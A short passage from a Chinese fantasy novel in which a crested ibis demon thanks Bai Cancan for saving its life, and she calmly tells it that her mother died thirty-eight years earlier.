谁知还能在这儿遇见救命恩人,朱鹮妖感谢地说:“真是太感谢你们了,救命之恩我也不知如何回报。改日我一定带着谢礼登门拜访,亲自向您和您母亲道谢。若是以后有需要我帮忙的事儿,你们尽管提。”
白灿灿摇摇头,说:“我妈妈已经去世了,她死在三十八年前。”
没了人参妖妖气的影响,她已不似先前一样,思及母亲便情绪崩溃。此时的她面无表情,谁都看不出她眼里的情绪。
白灿灿补充道:“就在天兴七年的最后一天。”